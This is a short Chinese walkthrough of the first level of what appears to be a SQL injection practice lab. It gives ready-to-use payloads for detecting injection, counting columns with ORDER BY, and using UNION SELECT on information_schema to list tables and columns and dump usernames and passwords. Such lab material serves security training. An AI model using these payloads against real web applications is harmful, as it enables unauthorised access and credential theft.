第一关
在网址后加 ?id=1
1.判断是否存在sql注入
- 加单引号引起报错
- 布尔判断
?id=1’ and 1=1 --+ 页面正常
?id=1' and 1=2 --+ 页面异常
2.判断数据库当前查询表有几列
?id=1' order by 3 --+ 页面显示正常,说明存在3列
?id=1' order by 4 --+ 页面显示异常,说明总共3列
3.已经判断完数据库查询表有3列,那么联合查询3列,查出数据库名
把2替换为database(),比忘了id=1也要改为-1
?id=-1' union select 1,database(),3 --+
4.联合查询通过内置库查询当前数据库使用的表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
5.联合查询通过内置库查询当前数据库使用的表中的列
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+
6.查询表中所有的数据
?id=-1' union select 1,(select group_concat(id,'~',username,'~',password) from users),3 --+
后续关卡敬请期待...... Meet.meet